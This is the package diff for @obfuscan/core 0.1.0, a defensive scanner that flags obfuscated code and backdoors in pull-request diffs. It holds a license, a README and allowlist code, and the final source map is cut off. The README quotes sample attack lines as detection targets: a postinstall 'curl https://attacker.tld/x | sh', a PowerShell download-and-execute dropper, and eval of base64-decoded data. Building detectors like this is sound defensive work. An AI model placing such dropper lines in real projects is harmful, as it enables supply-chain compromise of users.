@obfuscan/core 0.1.0

package/LICENSE

@@ -0,0 +1,201 @@
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

package/README.md

@@ -0,0 +1,224 @@
+# obfuscan
+
+Detect obfuscated code and likely backdoors in pull-request diffs. Multi-language. Embeddable. Diff-aware. Pure TypeScript.
+
+[![npm](https://img.shields.io/npm/v/@obfuscan/core)](https://www.npmjs.com/package/@obfuscan/core)
+[![license](https://img.shields.io/npm/l/@obfuscan/core)](./LICENSE)
+[![ci](https://github.com/ByteBardOrg/obfuscan/actions/workflows/ci.yml/badge.svg)](https://github.com/ByteBardOrg/obfuscan/actions)
+
+## What it does
+
+obfuscan reads a unified diff (or an explicit file list) and returns findings that flag the two patterns nearly every supply-chain attack relies on:
+
+1. **Obfuscation** — code deliberately hard for a human to read: high-entropy string blobs, encoded payload arrays, bidi/homoglyph identifiers, machine-generated identifier names.
+2. **Dynamic / install-time execution** — code with the means to run attacker-controlled bytes: `eval`, `Function`, `Invoke-Expression`, `pickle.loads`, `Reflection.Assembly.Load`, `postinstall` hooks, `curl … | sh`, etc.
+
+When the two combine — a decoder feeding a sink — that's the highest-precision malware shape across every language we've tested. obfuscan flags it.
+
+```
+$ obfuscan scan diff.patch
+src/loader.ts:42:0 BLOCK [obf.decode-then-exec.typescript]
+  Decoded data is being executed via a dynamic sink.
+
+  > eval(Buffer.from(_0x4f3a[1], 'base64').toString())
+
+src/loader.ts:11:0 WARN [obf.encoded-array-fingerprint]
+  Found 40 encoded-looking string literals (100% of literals).
+
+package.json:23:5 BLOCK [obf.manifest-install-script]
+  postinstall hook fetches a URL and pipes the result to a shell.
+
+3 findings · 2 block · 1 warn
+```
+
+## Why
+
+Existing tools each cover a slice:
+
+- **Semgrep** — generic AST patterns, but no entropy/data-flow and not focused on obfuscation.
+- **Bandit / njsscan** — single-language.
+- **Apiiro PRevent** — Python runtime, GitHub-Action-shaped, not a library.
+- **Datadog GuardDog** — scans published packages, not PRs.
+- **Socket.dev / Snyk** — closed source SaaS.
+
+**The gap obfuscan fills**: a TypeScript-native, embeddable, multi-language, diff-aware detector. Drop it into any Node tool — a Git client, a Husky hook, a VS Code extension, a custom GitHub Action, a CI script — and get findings on the lines that actually changed.
+
+## Install
+
+```bash
+npm install @obfuscan/core @obfuscan/rules
+# or
+pnpm add @obfuscan/core @obfuscan/rules
+```
+
+The `core` package ships the engine; `rules` ships language configs and tree-sitter query assets, not parser grammars. Hosts that want parser-backed custom detectors provide their own grammars via `RuleSet.loadGrammar()` / `GrammarHandle.parse()`. We use SemVer for the engine and CalVer (`2026.04.0`) for the rules.
+
+## Using `@obfuscan/rules`
+
+`@obfuscan/core` loads language configs from `@obfuscan/rules` by default, so normal usage is just installing both packages.
+
+```ts
+import { scan } from "@obfuscan/core";
+import * as fs from "node:fs/promises";
+
+const result = await scan(
+  { diff: await fs.readFile("pr.diff", "utf8") },
+  { fileResolver: (p) => fs.readFile(p, "utf8") },
+);
+```
+
+You can also load a custom rules directory:
+
+```ts
+import { loadRuleSet, scan } from "@obfuscan/core";
+import * as fs from "node:fs/promises";
+
+const rules = await loadRuleSet({
+  languageDir: "./my-rules/languages",
+  queryDir: "./my-rules/queries",
+});
+
+const result = await scan(
+  { paths: ["src/file.ts"] },
+  {
+    fileResolver: (p) => fs.readFile(p, "utf8"),
+    rules,
+  },
+);
+```
+
+Notes:
+
+- `@obfuscan/core` uses SemVer.
+- `@obfuscan/rules` uses CalVer (`YYYY.MM.PATCH`) and can update independently.
+- Rule config schema: [`packages/rules/languages/_schema.json`](./packages/rules/languages/_schema.json)
+
+## Quick start
+
+
+### Library
+
+```ts
+import { scan } from "@obfuscan/core";
+import * as fs from "node:fs/promises";
+
+const result = await scan(
+  { diff: await fs.readFile("pr.diff", "utf8") },
+  { fileResolver: (path) => fs.readFile(path, "utf8") },
+);
+
+for (const f of result.findings) {
+  if (f.severity === "block") {
+    console.error(`${f.file}:${f.line} BLOCK [${f.ruleId}] ${f.reason}`);
+  }
+}
+```
+## What it catches (with real examples)
+
+- **Decode-then-execute**, the canonical malware shape:
+  ```js
+  eval(Buffer.from(_0x4f3a[1], 'base64').toString())
+  ```
+- **String-array obfuscator output** (verbatim from the 2026 axios compromise):
+  ```js
+  var _0x4f3a = ['dGVzdA==', 'aGVsbG8=', /* …128 more… */];
+  ```
+- **PowerShell network-then-exec droppers**:
+  ```powershell
+  IEX (New-Object Net.WebClient).DownloadString($url)
+  ```
+- **`curl | sh` in install hooks**:
+  ```json
+  "postinstall": "curl https://attacker.tld/x | sh"
+  ```
+- **Trojan Source bidi attacks** (any language with Unicode source).
+- **Pickle / Marshal / unserialize on untrusted input.**
+- **Setup.py top-level imperative code** that fetches and executes at install time.
+- **build.rs** with suspicious network behavior.
+- **Homoglyph identifiers** (Latin/Cyrillic mixing).
+
+The detector list is in [`docs/detectors.md`](./docs/detectors.md). See [`docs/coverage.md`](./docs/coverage.md) for per-language coverage.
+
+## Language coverage
+
+Universal detectors run on any readable text file.
+
+Language-aware detectors are currently implemented for:
+
+- Tier 1: JavaScript, TypeScript, Python, PowerShell, Bash, PHP, Ruby
+- Tier 2: Go, Rust, C#, Java, Kotlin, Lua, Perl, VBScript
+
+Path-based manifest detectors currently target `package.json`, `setup.py`, `build.rs`, GitHub Actions workflows, and `Dockerfile`.
+
+See [`docs/coverage.md`](./docs/coverage.md) for the up-to-date matrix by rule and language.
+
+## How it works
+
+obfuscan runs a layered pipeline over each file selected by `diff` or `paths` input:
+
+```
+input → file context → detectors → suppress/filter → sorted findings
+```
+
+- **Layer A — universal, raw text.** Shannon entropy on long literals, line length, bidi/homoglyph control chars, encoded-string-array regex. Fires on every language.
+- **Layer B — language-aware heuristics.** Generic detectors routed by detected language id: dynamic execution with non-literals, decode-then-exec, network-then-exec, deserializer usage, suspicious I/O clusters, and related patterns.
+- **Layer C — manifest/path rules.** Specialized detectors for `package.json`, `setup.py`, `build.rs`, `.github/workflows/*`, and `Dockerfile`.
+
+Each detector emits findings with a 0–10 score and `info` / `warn` / `block` severity. Findings are then filtered (diff ranges, directives, allowlists), sorted, and returned in `ScanResult`.
+
+Architecture details: [`docs/architecture.md`](./docs/architecture.md).
+
+## Suppression
+
+False positives are inevitable in security tooling. obfuscan ships first-class suppression:
+
+- **Path allowlist** for vendored / minified / generated code.
+- **Per-finding suppression** keyed by `(ruleId, sha256(snippet))`, persisted by hosts in `.obfuscan/allowlist.json` via `loadAllowlist()`, `saveAllowlist()`, and `hashSnippet()`.
+- **In-source comment suppressions**: `// obfuscan-disable-next-line obf.decode-then-exec`.
+
+## Honest limits
+
+- Static analysis cannot defeat static analysis. xz is the existence proof. The goal is to raise attacker cost and surface unsophisticated attempts — not to prove malice.
+- Binary blobs need a separate scanner (YARA, file-magic). obfuscan flags the metadata signal but doesn't analyze byte content.
+- Compiled-language and build-system backdoors still need manual review and additional build-focused rules.
+- There is no built-in LLM verifier in `@obfuscan/core` today.
+
+## Comparison
+
+|  | obfuscan | Semgrep | PRevent | GuardDog | Bandit |
+|---|---|---|---|---|---|
+| Embeddable as TS/JS library | ✓ | — | — | — | — |
+| Diff/PR-aware | ✓ | partial | ✓ | — | — |
+| Multi-language | ✓ (15+ deep, 60+ universal) | ✓ | ✓ (15) | ✓ (3) | — |
+| Entropy / data-flow | ✓ | — | ✓ | ✓ | partial |
+| Manifest detectors | ✓ | partial | ✓ | ✓ | — |
+| Pure offline, no SaaS | ✓ | ✓ | ✓ | ✓ | ✓ |
+| Open source | ✓ Apache-2.0 | LGPL/commercial | Apache-2.0 | Apache-2.0 | Apache-2.0 |
+
+## Project status
+
+Pre-1.0. The detector framework, scoring, suppression, and tier-1/tier-2 language rules are stable. Breaking API changes are batched into minor releases until 1.0; rule changes ship as patch CalVer releases of `@obfuscan/rules` and never require an engine update.
+
+## Roadmap
+
+- [x] Tier-1 language rules (JS/TS, Python, PowerShell, Bash, PHP, Ruby)
+- [x] Manifest detectors for npm, PyPI, GitHub Actions, Dockerfile
+- [x] Tier-2 language rules (Go, Rust, C#, Java, Kotlin, Lua, Perl, VBScript)
+- [ ] `@obfuscan/cli` 1.0 with SARIF output
+- [ ] `@obfuscan/github-action`
+- [ ] `@obfuscan/llm-verify` optional Layer-D package
+- [ ] Reproducible benchmark suite against [Datadog malicious-software-packages-dataset](https://github.com/DataDog/malicious-software-packages-dataset)
+
+## Contributing
+
+Adding rules is the highest-leverage contribution. Most rule contributions are 3-line PRs to a JSON file. See [CONTRIBUTING.md](./CONTRIBUTING.md).
+
+Bug reports, false-positive reports, and bypasses welcome — see [SECURITY.md](./SECURITY.md) for how to report bypasses privately.
+
+## Acknowledgements
+
+obfuscan's detection model is informed by published work from Apiiro (PRevent), Datadog (GuardDog, BewAIre), Phylum, Veracode, and the academic literature on entropy-based malware detection. The public taxonomy of PowerShell obfuscation comes from Daniel Bohannon's Invoke-Obfuscation. Where a specific paper or post directly informed a detector, it is cited inline in the source.
+
+## License
+
+Apache-2.0. See [LICENSE](./LICENSE).

package/dist/allowlist.d.ts

@@ -0,0 +1,25 @@
+/**
+ * Allowlist load/save/match helpers.
+ *
+ * On-disk format: `.obfuscan/allowlist.json`
+ *
+ * ```json
+ * {
+ *   "paths":    [{ "pattern": "vendor/**", "maxSeverity": "warn", "reason": "third-party bundle" }],
+ *   "snippets": [{ "ruleId": "obf.high-entropy-literal", "snippetHash": "abc...", "addedBy": "alice" }]
+ * }
+ * ```
+ *
+ * `hashSnippet()` normalizes whitespace before hashing so suppressions
+ * survive reformatters.
+ */
+import type { Allowlist, Finding, PathAllowlistEntry, SnippetAllowlistEntry } from "./types.js";
+/** sha256(normalize(snippet)) as lowercase hex. */
+export declare function hashSnippet(snippet: string): string;
+/** Load `.obfuscan/allowlist.json` from a workspace root. Returns `{}` if missing. */
+export declare function loadAllowlist(workspaceRoot: string): Promise<Allowlist>;
+export declare function saveAllowlist(workspaceRoot: string, allowlist: Allowlist): Promise<void>;
+/** True if `finding` should be suppressed by the given allowlist. */
+export declare function matchesAllowlist(finding: Finding, allowlist: Allowlist, filePath: string): boolean;
+export type { PathAllowlistEntry, SnippetAllowlistEntry };
+//# sourceMappingURL=allowlist.d.ts.map

package/dist/allowlist.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"allowlist.d.ts","sourceRoot":"","sources":["../src/allowlist.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;GAcG;AAKH,OAAO,KAAK,EACV,SAAS,EACT,OAAO,EACP,kBAAkB,EAClB,qBAAqB,EAEtB,MAAM,YAAY,CAAC;AAIpB,mDAAmD;AACnD,wBAAgB,WAAW,CAAC,OAAO,EAAE,MAAM,GAAG,MAAM,CAGnD;AAOD,sFAAsF;AACtF,wBAAsB,aAAa,CAAC,aAAa,EAAE,MAAM,GAAG,OAAO,CAAC,SAAS,CAAC,CAQ7E;AAED,wBAAsB,aAAa,CACjC,aAAa,EAAE,MAAM,EACrB,SAAS,EAAE,SAAS,GACnB,OAAO,CAAC,IAAI,CAAC,CAKf;AAID,qEAAqE;AACrE,wBAAgB,gBAAgB,CAC9B,OAAO,EAAE,OAAO,EAChB,SAAS,EAAE,SAAS,EACpB,QAAQ,EAAE,MAAM,GACf,OAAO,CAsBT;AAmED,YAAY,EAAE,kBAAkB,EAAE,qBAAqB,EAAE,CAAC"}

package/dist/allowlist.js

@@ -0,0 +1,138 @@
+/**
+ * Allowlist load/save/match helpers.
+ *
+ * On-disk format: `.obfuscan/allowlist.json`
+ *
+ * ```json
+ * {
+ *   "paths":    [{ "pattern": "vendor/**", "maxSeverity": "warn", "reason": "third-party bundle" }],
+ *   "snippets": [{ "ruleId": "obf.high-entropy-literal", "snippetHash": "abc...", "addedBy": "alice" }]
+ * }
+ * ```
+ *
+ * `hashSnippet()` normalizes whitespace before hashing so suppressions
+ * survive reformatters.
+ */
+import { createHash } from "node:crypto";
+import * as fs from "node:fs/promises";
+import * as path from "node:path";
+const SEVERITY_RANK = { info: 0, warn: 1, block: 2 };
+/** sha256(normalize(snippet)) as lowercase hex. */
+export function hashSnippet(snippet) {
+    const normalized = normalizeSnippet(snippet);
+    return createHash("sha256").update(normalized, "utf8").digest("hex");
+}
+function normalizeSnippet(s) {
+    // Collapse all whitespace to single spaces; strip leading/trailing.
+    return s.replace(/\s+/g, " ").trim();
+}
+/** Load `.obfuscan/allowlist.json` from a workspace root. Returns `{}` if missing. */
+export async function loadAllowlist(workspaceRoot) {
+    const file = path.join(workspaceRoot, ".obfuscan", "allowlist.json");
+    try {
+        const raw = await fs.readFile(file, "utf8");
+        return JSON.parse(raw);
+    }
+    catch {
+        return {};
+    }
+}
+export async function saveAllowlist(workspaceRoot, allowlist) {
+    const dir = path.join(workspaceRoot, ".obfuscan");
+    await fs.mkdir(dir, { recursive: true });
+    const file = path.join(dir, "allowlist.json");
+    await fs.writeFile(file, JSON.stringify(allowlist, null, 2) + "\n", "utf8");
+}
+// ─── Matching ──────────────────────────────────────────────────────────────
+/** True if `finding` should be suppressed by the given allowlist. */
+export function matchesAllowlist(finding, allowlist, filePath) {
+    // Path entries
+    for (const entry of allowlist.paths ?? []) {
+        if (!matchesPathEntry(filePath, entry))
+            continue;
+        if (entry.ruleId && !ruleMatches(finding.ruleId, entry.ruleId))
+            continue;
+        if (entry.maxSeverity) {
+            // Suppress only findings at or below the ceiling.
+            if (SEVERITY_RANK[finding.severity] <= SEVERITY_RANK[entry.maxSeverity]) {
+                return true;
+            }
+        }
+        else {
+            return true;
+        }
+    }
+    // Snippet entries
+    for (const entry of allowlist.snippets ?? []) {
+        if (!ruleMatches(finding.ruleId, entry.ruleId))
+            continue;
+        if (hashSnippet(finding.snippet) === entry.snippetHash)
+            return true;
+    }
+    return false;
+}
+function ruleMatches(ruleId, entryRuleId) {
+    // Exact match, or prefix-with-dot match: `obf.decode-then-exec` matches
+    // `obf.decode-then-exec.python`.
+    return ruleId === entryRuleId || ruleId.startsWith(entryRuleId + ".");
+}
+function matchesPathEntry(filePath, entry) {
+    return globMatch(entry.pattern, filePath);
+}
+// ─── Tiny minimatch-compatible glob ────────────────────────────────────────
+//
+// Supports the common subset:
+//   *      matches any chars except /
+//   **     matches any chars including /
+//   ?      matches one char except /
+//   [abc]  character class
+//
+// This is sufficient for allowlist patterns and avoids a runtime dependency.
+function globMatch(pattern, str) {
+    const re = globToRegex(pattern);
+    return re.test(str);
+}
+function globToRegex(pattern) {
+    let out = "^";
+    for (let i = 0; i < pattern.length; i++) {
+        const c = pattern[i];
+        if (c === "*") {
+            if (pattern[i + 1] === "*") {
+                // **  → match anything (incl. /)
+                out += ".*";
+                i++;
+                // optional trailing slash collapse: `**/` matches zero or more dirs
+                if (pattern[i + 1] === "/") {
+                    i++;
+                }
+            }
+            else {
+                out += "[^/]*";
+            }
+        }
+        else if (c === "?") {
+            out += "[^/]";
+        }
+        else if (c === "[") {
+            // copy until ']'
+            let j = i + 1;
+            let cls = "[";
+            while (j < pattern.length && pattern[j] !== "]") {
+                cls += pattern[j];
+                j++;
+            }
+            cls += "]";
+            out += cls;
+            i = j;
+        }
+        else if (c && /[.+^${}()|\\]/.test(c)) {
+            out += "\\" + c;
+        }
+        else {
+            out += c ?? "";
+        }
+    }
+    out += "$";
+    return new RegExp(out);
+}
+//# sourceMappingURL=allowlist.js.map

package/dist/allowlist.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"allowlist.js","sourceRoot":"","sources":["../src/allowlist.ts"],"names":[],"mappings":"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